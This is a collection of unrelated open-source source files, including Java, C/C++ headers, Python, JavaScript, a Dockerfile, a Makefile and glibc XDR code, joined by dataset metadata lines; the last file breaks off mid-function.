/* * Copyright (C) 2014 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.example.android.wearable.speedtracker.ui; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.example.android.wearable.speedtracker.R; /** * Populates a RecyclerView with list of speeds. */ public class SpeedPickerRecyclerAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { public interface Callbacks { void speedLimitChange(int speedChange); } private int[] mDataSet; private static Callbacks parentActivitySpeedChangeCallback; public SpeedPickerRecyclerAdapter(int[] dataSet, Callbacks callbacks) { mDataSet = dataSet; parentActivitySpeedChangeCallback = callbacks; } /** * Create new views for list items (invoked by the WearableListView's layout manager) */ @NonNull @Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup viewGroup, int viewType) { return new ItemViewHolder(LayoutInflater.from(viewGroup.getContext()).inflate( R.layout.speed_picker_item_layout, viewGroup, false)); } /** * Replaces the contents of a list item. Instead of creating new views, the list tries to * recycle existing ones. This is invoked by the WearableListView's layout manager. */ @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) { ItemViewHolder itemHolder = (ItemViewHolder) holder; itemHolder.setTextViewData(mDataSet[position]); holder.itemView.setTag(position); } @Override public int getItemCount() { return mDataSet.length; } /** * Displays all possible speed limit choices. */ public static class ItemViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener { private TextView mTextView; private int speed = 25; ItemViewHolder(View itemView) { super(itemView); mTextView = itemView.findViewById(R.id.name); mTextView.setOnClickListener(this); } void setTextViewData(int value) { speed = value; String speedString = mTextView.getContext().getString(R.string.speed_for_list, speed); mTextView.setText(speedString); } @Override public void onClick(View v) { parentActivitySpeedChangeCallback.speedLimitChange(speed); } } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 1997, 2019, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. * */ #ifndef SHARE_OPTO_COALESCE_HPP #define SHARE_OPTO_COALESCE_HPP #include "opto/phase.hpp" class LoopTree; class LRG; class Matcher; class PhaseIFG; class PhaseCFG; //------------------------------PhaseCoalesce---------------------------------- class PhaseCoalesce : public Phase { protected: PhaseChaitin &_phc; public: // Coalesce copies PhaseCoalesce(PhaseChaitin &phc) : Phase(Coalesce) , _phc(phc) {} virtual void verify() = 0; // Coalesce copies void coalesce_driver(); // Coalesce copies in this block virtual void coalesce(Block *b) = 0; // Attempt to coalesce live ranges defined by these 2 void combine_these_two(Node *n1, Node *n2); LRG &lrgs(uint lidx) { return _phc.lrgs(lidx); } #ifndef PRODUCT // Dump internally name void dump(Node *n) const; // Dump whole shebang void dump() const; #endif }; //------------------------------PhaseAggressiveCoalesce------------------------ // Aggressively, pessimistic coalesce copies. Aggressive means ignore graph // colorability; perhaps coalescing to the point of forcing a spill. // Pessimistic means we cannot coalesce if 2 live ranges interfere. This // implies we do not hit a fixed point right away. class PhaseAggressiveCoalesce : public PhaseCoalesce { uint _unique; public: // Coalesce copies PhaseAggressiveCoalesce( PhaseChaitin &chaitin ) : PhaseCoalesce(chaitin) {} virtual void verify() { }; // Aggressively coalesce copies in this block virtual void coalesce( Block *b ); // Where I fail to coalesce, manifest virtual copies as the Real Thing void insert_copies( Matcher &matcher ); // Copy insertion needs some smarts in case live ranges overlap void insert_copy_with_overlap( Block *b, Node *copy, uint dst_name, uint src_name ); }; //------------------------------PhaseConservativeCoalesce---------------------- // Conservatively, pessimistic coalesce copies. Conservative means do not // coalesce if the resultant live range will be uncolorable. Pessimistic // means we cannot coalesce if 2 live ranges interfere. This implies we do // not hit a fixed point right away. class PhaseConservativeCoalesce : public PhaseCoalesce { IndexSet _ulr; // Union live range interferences public: // Coalesce copies PhaseConservativeCoalesce( PhaseChaitin &chaitin ); virtual void verify(); // Conservatively coalesce copies in this block virtual void coalesce( Block *b ); // Coalesce this chain of copies away bool copy_copy( Node *dst_copy, Node *src_copy, Block *b, uint bindex ); void union_helper( Node *lr1_node, Node *lr2_node, uint lr1, uint lr2, Node *src_def, Node *dst_copy, Node *src_copy, Block *b, uint bindex ); uint compute_separating_interferences(Node *dst_copy, Node *src_copy, Block *b, uint bindex, RegMask &rm, uint rm_size, uint reg_degree, uint lr1, uint lr2); void update_ifg(uint lr1, uint lr2, IndexSet *n_lr1, IndexSet *n_lr2); }; #endif // SHARE_OPTO_COALESCE_HPP
{ "pile_set_name": "Github" }
#ifndef DT_BINDINGS_MEMORY_TEGRA124_MC_H #define DT_BINDINGS_MEMORY_TEGRA124_MC_H #define TEGRA_SWGROUP_PTC 0 #define TEGRA_SWGROUP_DC 1 #define TEGRA_SWGROUP_DCB 2 #define TEGRA_SWGROUP_AFI 3 #define TEGRA_SWGROUP_AVPC 4 #define TEGRA_SWGROUP_HDA 5 #define TEGRA_SWGROUP_HC 6 #define TEGRA_SWGROUP_MSENC 7 #define TEGRA_SWGROUP_PPCS 8 #define TEGRA_SWGROUP_SATA 9 #define TEGRA_SWGROUP_VDE 10 #define TEGRA_SWGROUP_MPCORELP 11 #define TEGRA_SWGROUP_MPCORE 12 #define TEGRA_SWGROUP_ISP2 13 #define TEGRA_SWGROUP_XUSB_HOST 14 #define TEGRA_SWGROUP_XUSB_DEV 15 #define TEGRA_SWGROUP_ISP2B 16 #define TEGRA_SWGROUP_TSEC 17 #define TEGRA_SWGROUP_A9AVP 18 #define TEGRA_SWGROUP_GPU 19 #define TEGRA_SWGROUP_SDMMC1A 20 #define TEGRA_SWGROUP_SDMMC2A 21 #define TEGRA_SWGROUP_SDMMC3A 22 #define TEGRA_SWGROUP_SDMMC4A 23 #define TEGRA_SWGROUP_VIC 24 #define TEGRA_SWGROUP_VI 25 #endif
{ "pile_set_name": "Github" }
/** * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. */ #ifndef _FA_ENCODER_MASK_H_ #define _FA_ENCODER_MASK_H_ #include "FAConfig.h" #include "FAEncoderA.h" namespace BlingFire { /// Does the following: /// 1. Recodes zero-bytes with two non-zero byte sequences class FAEncoder_mask : public FAEncoderA { public: const int GetMaxBytes () const; const int Encode (const int * pChain, const int Size, unsigned char * pOutBuffer) const; private: enum { MAX_BYTES_PER_INT = sizeof (int) * 2 }; }; } #endif
{ "pile_set_name": "Github" }
ESP32 Simple Service Discovery Copyright (c) 2015 Hristo Gochkov Original (Arduino) version by Filippo Sallemi, July 23, 2014. Can be found at: https://github.com/nomadnt/uSSDP Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
{ "pile_set_name": "Github" }
import StringIO, sys from xml import sax from xml.sax import handler, saxutils, xmlreader RDF_NS = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#' class RDFFilter (saxutils.XMLFilterBase): def __init__ (self, *args): saxutils.XMLFilterBase.__init__(self, *args) self.in_rdf_stack = [False] def startElementNS (self, (uri, localname), qname, attrs): if uri == RDF_NS or self.in_rdf_stack[0] == True: self.in_rdf_stack.insert(0, True) return # Delete attributes that belong to the RDF namespace dict = {} for key, value in attrs.items(): uri, localname = key if uri != RDF_NS: dict[key] = value attrs = xmlreader.AttributesNSImpl(dict, attrs.getQNames()) self.in_rdf_stack.insert(0, self.in_rdf_stack[0]) saxutils.XMLFilterBase.startElementNS(self, (uri, localname), qname, attrs) def characters(self, content): if self.in_rdf_stack[0]: return saxutils.XMLFilterBase.characters(self, content) def endElementNS (self, (uri, localname), qname): if self.in_rdf_stack.pop(0) == True: return saxutils.XMLFilterBase.endElementNS(self, (uri, localname), qname) def filter_rdf (input, output): """filter_rdf(input:file, output:file) Parses the XML input from the input stream, filtering out all elements and attributes that are in the RDF namespace. """ output_gen = saxutils.XMLGenerator(output) parser = sax.make_parser() filter = RDFFilter(parser) filter.setFeature(handler.feature_namespaces, True) filter.setContentHandler(output_gen) filter.setErrorHandler(handler.ErrorHandler()) filter.parse(input) if __name__ == '__main__': TEST_RDF = '''<?xml version="1.0"?> <metadata xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/"> <title> This is non-RDF content </title> <rdf:RDF> <rdf:Description rdf:about="%s"> <dc:Creator>%s</dc:Creator> </rdf:Description> </rdf:RDF> <element /> </metadata> ''' input = StringIO.StringIO(TEST_RDF) filter_rdf(input, sys.stdout)
{ "pile_set_name": "Github" }
/** * @author Pedro Sanders * @since v1 */ const DSUtils = require('@routr/data_api/utils') const APIBase = require('@routr/data_api/api_base') const { Status } = require('@routr/core/status') const { buildAddr } = require('@routr/utils/misc_utils') const { FOUND_DEPENDENT_OBJECTS_RESPONSE } = require('@routr/core/status') const getCacheKey = j => buildAddr(j.spec.host, j.spec.port) class GatewaysAPI extends APIBase { constructor (dataSource) { super(dataSource, 'gateways') } createFromJSON (jsonObj) { const hasUnfulfilledDependency = () => false const alreadyExist = j => this.gatewayExist(j.spec.host, j.spec.port) return super.createFromJSON( jsonObj, alreadyExist, hasUnfulfilledDependency, getCacheKey ) } updateFromJSON (jsonObj) { return super.updateFromJSON(jsonObj, getCacheKey) } getGateways (filter, page, itemsPerPage) { return super.getResources(filter, page, itemsPerPage) } getGateway (ref) { return super.getResource(ref) } getGatewayByHostAndPort (h, p) { if (!p) return this.getGatewayByHost(h) const host = buildAddr(h, p) let response = this.cache.getIfPresent(host) if (response === null) { const gws = this.getGateways().data.filter( g => g.spec.port + '' === p + '' && g.spec.host === h ) if (gws.length === 0) { return { status: Status.NOT_FOUND } } response = { status: Status.OK, data: gws[0] } this.cache.put(host, response) } return response } getGatewayByHost (host) { let response = this.cache.getIfPresent(host) if (response === null) { response = DSUtils.deepSearch(this.getGateways(), 'spec.host', host) this.cache.put(host, response) } return response } gatewayExist (host, port) { return DSUtils.objExist(this.getGatewayByHostAndPort(host, port)) } deleteGateway (ref) { this.invalidate(ref, getCacheKey) let response = this.getGateway(ref) if (response.status !== Status.OK) { return response } const gateway = response.data response = this.ds .withCollection('numbers') .find(`@.metadata.gwRef=='${gateway.metadata.ref}'`) const numbers = response.data return numbers.length === 0 ? this.ds.withCollection('gateways').remove(ref) : FOUND_DEPENDENT_OBJECTS_RESPONSE } } module.exports = GatewaysAPI
{ "pile_set_name": "Github" }
#include "rose.h" #include <unistd.h> #include "AstPerformance.h" // DQ (1/1/2006): This is OK if not declared in a header file using namespace std; int main ( int argc, char * argv[] ) { // TimingPerformance timer ("main execution time (sec) = "); SgProject* project_identity = frontend(argc,argv); SgProject* project_test = project_identity; ROSE_ASSERT (project_identity != NULL); #if 1 std :: cout << "Starting initial AstTests ...... " << flush; AstTests::runAllTests(project_test); std :: cout << "done " << std::endl; #endif std :: cout << std::endl<< "Here we call the AST_FILE_IO :: start_up ..." << std::endl; AST_FILE_IO :: startUp( project_test ) ; std :: cout << std::endl<< "AST_FILE_IO :: start_up done ... " << std::endl; // AST_FILE_IO::printListOfPoolSizes(); #if 1 // This will move everything into the EasyStorageClasses and then reconstruct // it from scratch. As a result it is a good test without and File I/O. std :: cout << std::endl<< "Here we call the AST_FILE_IO :: compressAstInMemoryPool() ..." << std::endl; AST_FILE_IO :: compressAstInMemoryPool(); std :: cout << std::endl<< "AST_FILE_IO :: compressAstInMemoryPool() done ... " << std::endl; #endif #if 1 std :: cout << "Starting tests after compression AstTests ...... " << flush; AstTests::runAllTests(project_test); std :: cout << "done " << std::endl; #endif #if 1 std :: cout << std::endl<< " Unparsing file ......." << std::endl; backend(project_test); std :: cout << std::endl<< " File to disk ! " << std::endl; #endif return 0; }
{ "pile_set_name": "Github" }
FROM node:12.18.3-alpine AS build RUN apk add --update --no-cache \ python \ make \ g++ \ git WORKDIR /src COPY ./package* ./ RUN npm ci COPY . . RUN npm run lint RUN npm run build RUN npm run test RUN npm prune --production FROM node:12.18.3-alpine RUN apk add --update --no-cache curl EXPOSE 1234 WORKDIR /usr/src/service COPY --from=build /src/node_modules node_modules COPY --from=build /src/dist dist HEALTHCHECK --interval=5s \ --timeout=5s \ --retries=6 \ CMD curl -fs http://localhost:1234/ || exit 1 USER node CMD ["node", "./dist/server/index.js"]
{ "pile_set_name": "Github" }
'use strict'; import React from 'react'; import classnames from 'classnames'; import find from 'lodash/collection/find'; import { get } from 'lodash'; import take from 'lodash/array/take'; import isEqual from 'lodash/lang/isEqual'; import getFeaturedImage from 'app/lib/get-featured-image'; import getScrollTrackerMixin from 'app/lib/get-scroll-tracker-mixin'; import Flux from 'app/flux'; import Hero from 'app/components/hero'; import BlogPostListItem from 'app/components/blog-post-list-item'; import BlogControls from 'app/components/blog-controls'; import LoadMoreButton from 'app/components/load-more-button'; import Footer from 'app/components/footer'; import ContactBlock from 'app/components/contact-block'; import ScrollWrapper from 'app/components/scroll-wrapper'; const PageBlog = React.createClass({ mixins: [getScrollTrackerMixin('blog')], getInitialState() { return { isCategorised: this.props.blogCategory !== 'all', isLoadingInitialPosts: true, isLoadingMorePosts: false, isLoadingCategoryPosts: false }; }, componentWillMount() { if (this.props.posts) { this.setState({ isLoadingInitialPosts: false }); } }, componentWillReceiveProps(nextProps) { const { posts: currentPosts, blogCategory: currentBlogCategory } = this.props; const { posts: nextPosts, blogCategory: nextBlogCategory } = nextProps; const { isLoadingInitialPosts } = this.state; if (isLoadingInitialPosts && nextPosts) { this.setState({ isLoadingInitialPosts: false }); } // applies when category is changed if (currentBlogCategory !== nextBlogCategory) { this.setState({ isLoadingCategoryPosts: true }); } // applies when posts from category change have loaded // we infer a category change from post IDs as: // - can't use props, by this point currentBlogCategory === nextBlogCategory // - looping through posts to infer category is less reliable as some posts have multiple // categories, hence in a given category not all the posts will have the same category. const currentPostsSample = take(currentPosts, 6).map(post => post.id); const nextPostsSample = take(nextPosts, 6).map(post => post.id); if (!isEqual(currentPostsSample, nextPostsSample)) { this.setState({ isLoadingCategoryPosts: false, isCategorised: currentBlogCategory !== 'all' }); } // applies when "load more" button is clicked const newPostsAdded = (currentPosts && nextPosts) && (currentPosts.length < nextPosts.length); if (newPostsAdded) { this.setState({ isLoadingMorePosts: false }); } }, getPosts() { const { isCategorised } = this.state; const { postsPagination, postsPaginationTotal } = this.props; let { posts } = this.props; if (!isCategorised && postsPagination > 1 && postsPagination < postsPaginationTotal) { posts = take(posts, (postsPagination * 12) + 1); } return posts; }, onClickLoadMore() { Flux.loadMorePosts(); this.setState({ isLoadingMorePosts: true }); }, renderPosts() { const posts = this.getPosts(); let output; if (posts) { if (posts.length) { output = posts.map((postData, index) => { return ( <BlogPostListItem key={postData.slug} className="blog-post-list-item" featured={!this.state.isCategorised && index === 0} data={postData} /> ); }); } else { output = <h3 className="message">No posts found</h3>; } } return output; }, render() { const { isCategorised, isLoadingInitialPosts, isLoadingMorePosts, isLoadingCategoryPosts } = this.state; const { postsPagination, postsPaginationTotal, footer, studios, currentPage, documentScrollPosition, viewportDimensions, blogCategory, page, posts } = this.props; const classes = classnames('page-blog', this.props.className, { categorised: isCategorised, loading: isLoadingInitialPosts || isLoadingCategoryPosts, empty: posts && !posts.length }); return ( <article className={classes}> <Hero key="hero" title="THINK. MAKE. LEARN." eventLabel="ustwo blog" showDownIndicator={false} notFullScreen={true} > <BlogControls className={classnames({ show: page })} blogCategory={blogCategory} /> </Hero> <section className="card-list blog-post-list"> <div className="card-list-inner page-content-wrapper"> {this.renderPosts()} </div> <LoadMoreButton loading={isLoadingMorePosts} onClick={this.onClickLoadMore} disabled={postsPagination >= postsPaginationTotal} /> </section> <ScrollWrapper component={<ContactBlock page={page ? page.slug : 'home'} />} documentScrollPosition={documentScrollPosition} viewportDimensions={viewportDimensions} requireScreenPosition={true} className="scroll-wrapper-contact-block" /> <Footer data={footer} studios={studios} currentPage={currentPage}/> </article> ); }, }); export default PageBlog;
{ "pile_set_name": "Github" }
--- title: January Meetups date: 2017-01-01 author: Joshua category: news tags: meetup, chapters label: Meetups description: Papers We Love Meetup Schedule for January ogp: og: description: Papers We Love Meetup Schedule for January fb: description: Papers We Love Meetup Schedule for January --- We have another great line-up of meet-ups scheduled for January across a number of our chapters: **Seattle 1/5**: [: New Directions in Cryptography](https://www.meetup.com/Papers-We-Love-Seattle/events/235992744/) **San Diego 1/5**: [Discussion Group: Reflections on Trusting Trust](https://www.meetup.com/Papers-We-Love-San-Diego/events/235992328/) **Chattanooga 1/10**: [Josh Marlow on A Basic Agent](https://www.meetup.com/Papers-We-Love-Chattanooga/events/236484022/) **Durham 1/12**: [Learn how to read an Academic/Scientific paper](https://www.meetup.com/Papers-We-Love-Raleigh-Durham/events/235513891/) **Vienna 1/16**: [Parsing with Derivatives](https://www.meetup.com/Papers-We-Love-Vienna/events/236233873/) **San Francisco 1/19**: [Caitie McCaffrey on "Distributed Programming in Argus"](https://www.meetup.com/papers-we-love-too/events/236706538/) **Bangalore 1/21**: [CRDT: Conflictfree replicated data types](https://www.meetup.com/Papers-we-love-Bangalore/events/236168678/) **Gothenburg 1/25**: [Use of Formal Methods at Amazon Web Services by Nachi](https://www.meetup.com/Papers-We-Love-Gothenburg/events/236949636/) **Montréal 1/25**: [ConvolutionBased Interpolation for Fast, High-Quality Rotation of Images](https://www.meetup.com/Papers-We-Love-Montreal/events/236147759/) **Falls Church 1/25**: [Parallel computation with molecularmotor-propelled agents (...)](https://www.meetup.com/Papers-We-Love-DC-NoVA/events/236590165/) **Winnipeg 1/25**: [Our Last Event via Meetup and a New Location](https://www.meetup.com/Papers-We-Love-Winnipeg/events/237145737/) **Portland 1/25**: [Carl Lerche on "A comprehensive study of CRDTs"](https://www.meetup.com/Papers-We-Love-PDX/events/237008035/) **Bucharest 1/27**: [January Meetup](https://www.meetup.com/papers-we-love-bucharest/events/237071881/) **Olivette 1/30**: [The mechanical evaluation of expressions](https://www.meetup.com/Papers-We-Love-in-saint-louis/events/236882665/) READMORE --- The **New York Chapter** would like to give special thanks to our Platinum sponsor [TwoSigma](https://www.twosigma.com). Join us in St. Louis for [PWLConf 2016](http://pwlconf.org/)!
{ "pile_set_name": "Github" }
/** Copyright (c) 2014-present, Facebook, Inc. All rights reserved. This source code is licensed under the BSD-style license found in the LICENSE file in the root directory of this source tree. An additional grant of patent rights can be found in the PATENTS file in the same directory. */ #import "POPBasicAnimationInternal.h" @implementation POPBasicAnimation #undef __state #define __state ((POPBasicAnimationState *)_state) #pragma mark - Lifecycle + (instancetype)animation { return [[self alloc] init]; } + (instancetype)animationWithPropertyNamed:(NSString *)aName { POPBasicAnimation *anim = [self animation]; anim.property = [POPAnimatableProperty propertyWithName:aName]; return anim; } - (void)_initState { _state = new POPBasicAnimationState(self); } + (instancetype)linearAnimation { POPBasicAnimation *anim = [self animation]; anim.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear]; return anim; } + (instancetype)easeInAnimation { POPBasicAnimation *anim = [self animation]; anim.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionEaseIn]; return anim; } + (instancetype)easeOutAnimation { POPBasicAnimation *anim = [self animation]; anim.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionEaseOut]; return anim; } + (instancetype)easeInEaseOutAnimation { POPBasicAnimation *anim = [self animation]; anim.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionEaseInEaseOut]; return anim; } + (instancetype)defaultAnimation { POPBasicAnimation *anim = [self animation]; anim.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionDefault]; return anim; } - (id)init { return [self _init]; } #pragma mark - Properties DEFINE_RW_PROPERTY(POPBasicAnimationState, duration, setDuration:, CFTimeInterval); DEFINE_RW_PROPERTY_OBJ(POPBasicAnimationState, timingFunction, setTimingFunction:, CAMediaTimingFunction*, __state->updatedTimingFunction();); #pragma mark - Utility - (void)_appendDescription:(NSMutableString *)s debug:(BOOL)debug { [super _appendDescription:s debug:debug]; if (__state->duration) [s appendFormat:@"; duration = %f", __state->duration]; } @end @implementation POPBasicAnimation (NSCopying) - (instancetype)copyWithZone:(NSZone *)zone { POPBasicAnimation *copy = [super copyWithZone:zone]; if (copy) { copy.duration = self.duration; copy.timingFunction = self.timingFunction; // not a 'copy', but timing functions are publicly immutable. } return copy; } @end
{ "pile_set_name": "Github" }
# # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://aws.amazon.com/apache2.0 # # or in the "license" file accompanying this file. This file is distributed # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. # SRCS=$(wildcard *.c) OBJS=$(SRCS:.c=.o) TESTS=$(SRCS:.c=) CRYPTO_LDFLAGS = -L$(LIBCRYPTO_ROOT)/lib ifndef LIBFUZZER_ROOT export LIBFUZZER_ROOT = $(shell echo "../../fuzz_dependencies") endif ifndef FUZZ_TIMEOUT_SEC export FUZZ_TIMEOUT_SEC=120 endif ifndef FUZZ_TESTS export FUZZ_TESTS=${TESTS} endif .PHONY : all all : run_tests include ../../s2n.mk CRUFT += $(wildcard *_test) $(wildcard fuzz-*.log) $(wildcard *_test_output.txt) $(wildcard *_test_results.txt) $(wildcard LD_PRELOAD/*.so) $(wildcard *.prof*) CFLAGS += -Wno-unreachable-code -O0 -I$(LIBCRYPTO_ROOT)/include/ -I../ LIBS += -L../testlib/ -ltests2n -L../../lib/ -ls2n LDFLAGS += $(LIBFUZZER_ROOT)/lib/libFuzzer.a -lstdc++ LDFLAGS += ${CRYPTO_LDFLAGS} ${LIBS} ${CRYPTO_LIBS} -lm -ldl -lrt -pthread DYLD_LIBRARY_PATH="../../lib/:../testlib/:$(LIBCRYPTO_ROOT)/lib:$$DYLD_LIBRARY_PATH" LD_LIBRARY_PATH="../../lib/:../testlib/:$(LIBCRYPTO_ROOT)/lib:$$LD_LIBRARY_PATH" ifdef AFL_FUZZ ifneq ($(FUZZ_COVERAGE), true) CFLAGS += $(LIBFUZZER_ROOT)/FuzzingEngine.a endif endif ld-preload : ${MAKE} -C LD_PRELOAD $(TESTS):: @${CC} ${CFLAGS} [email protected] -o $@ ${LDFLAGS} > /dev/null run_tests:: $(FUZZ_TESTS) ld-preload @( fail_count=0; for test_name in ${FUZZ_TESTS} ; do \ export LD_LIBRARY_PATH=${LD_LIBRARY_PATH}; \ export DYLD_LIBRARY_PATH=${DYLD_LIBRARY_PATH}; \ export LIBCRYPTO_ROOT=${LIBCRYPTO_ROOT}; \ ./runFuzzTest.sh $${test_name} ${FUZZ_TIMEOUT_SEC} || fail_count=`expr $$fail_count + 1`; done; \ exit $${fail_count}; \ ) @./calcTotalCov.sh .PHONY : clean clean: decruft ${MAKE} -C LD_PRELOAD decruft rm -rf profiles
{ "pile_set_name": "Github" }
/* * xdr.c, Generic XDR routines implementation. * * Copyright (c) 2010, Oracle America, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the "Oracle America, Inc." nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * These are the "generic" xdr routines used to serialize and de-serialize * most common data items. See xdr.h for more info on the interface to * xdr. */ #include <stdio.h> #include <limits.h> #include <string.h> #include <libintl.h> #include <wchar.h> #include <stdint.h> #include <rpc/types.h> #include <rpc/xdr.h> #include <shlib-compat.h> /* * constants specific to the xdr "protocol" */ #define XDR_FALSE ((long) 0) #define XDR_TRUE ((long) 1) #define LASTUNSIGNED ((u_int) 0-1) /* * for unit alignment */ static const char xdr_zero[BYTES_PER_XDR_UNIT] = {0, 0, 0, 0}; /* * Free a data structure using XDR * Not a filter, but a convenient utility nonetheless */ void xdr_free (xdrproc_t proc, char *objp) { XDR x; x.x_op = XDR_FREE; (*proc) (&x, objp); } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_free) #else libc_hidden_nolink_sunrpc (xdr_free, GLIBC_2_0) #endif /* * XDR nothing */ bool_t xdr_void (void) { return TRUE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_void) #else libc_hidden_nolink_sunrpc (xdr_void, GLIBC_2_0) #endif /* * XDR integers */ bool_t xdr_int (XDR *xdrs, int *ip) { #if INT_MAX < LONG_MAX long l; switch (xdrs->x_op) { case XDR_ENCODE: l = (long) *ip; return XDR_PUTLONG (xdrs, &l); case XDR_DECODE: if (!XDR_GETLONG (xdrs, &l)) { return FALSE; } *ip = (int) l; /* Fall through. */ case XDR_FREE: return TRUE; } return FALSE; #elif INT_MAX == LONG_MAX return xdr_long (xdrs, (long *) ip); #elif INT_MAX == SHRT_MAX return xdr_short (xdrs, (short *) ip); #else #error unexpected integer sizes in_xdr_int() #endif } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_int) #else libc_hidden_nolink_sunrpc (xdr_int, GLIBC_2_0) #endif /* * XDR unsigned integers */ bool_t xdr_u_int (XDR *xdrs, u_int *up) { #if UINT_MAX < ULONG_MAX long l; switch (xdrs->x_op) { case XDR_ENCODE: l = (u_long) * up; return XDR_PUTLONG (xdrs, &l); case XDR_DECODE: if (!XDR_GETLONG (xdrs, &l)) { return FALSE; } *up = (u_int) (u_long) l; /* Fall through. */ case XDR_FREE: return TRUE; } return FALSE; #elif UINT_MAX == ULONG_MAX return xdr_u_long (xdrs, (u_long *) up); #elif UINT_MAX == USHRT_MAX return xdr_short (xdrs, (short *) up); #else #error unexpected integer sizes in_xdr_u_int() #endif } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_u_int) #else libc_hidden_nolink_sunrpc (xdr_u_int, GLIBC_2_0) #endif /* * XDR long integers * The definition of xdr_long() is kept for backward * compatibility. Instead xdr_int() should be used. */ bool_t xdr_long (XDR *xdrs, long *lp) { if (xdrs->x_op == XDR_ENCODE && (sizeof (int32_t) == sizeof (long) || (int32_t) *lp == *lp)) return XDR_PUTLONG (xdrs, lp); if (xdrs->x_op == XDR_DECODE) return XDR_GETLONG (xdrs, lp); if (xdrs->x_op == XDR_FREE) return TRUE; return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_long) #else libc_hidden_nolink_sunrpc (xdr_long, GLIBC_2_0) #endif /* * XDR unsigned long integers * The definition of xdr_u_long() is kept for backward * compatibility. Instead xdr_u_int() should be used. */ bool_t xdr_u_long (XDR *xdrs, u_long *ulp) { switch (xdrs->x_op) { case XDR_DECODE: { long int tmp; if (XDR_GETLONG (xdrs, &tmp) == FALSE) return FALSE; *ulp = (uint32_t) tmp; return TRUE; } case XDR_ENCODE: if (sizeof (uint32_t) != sizeof (u_long) && (uint32_t) *ulp != 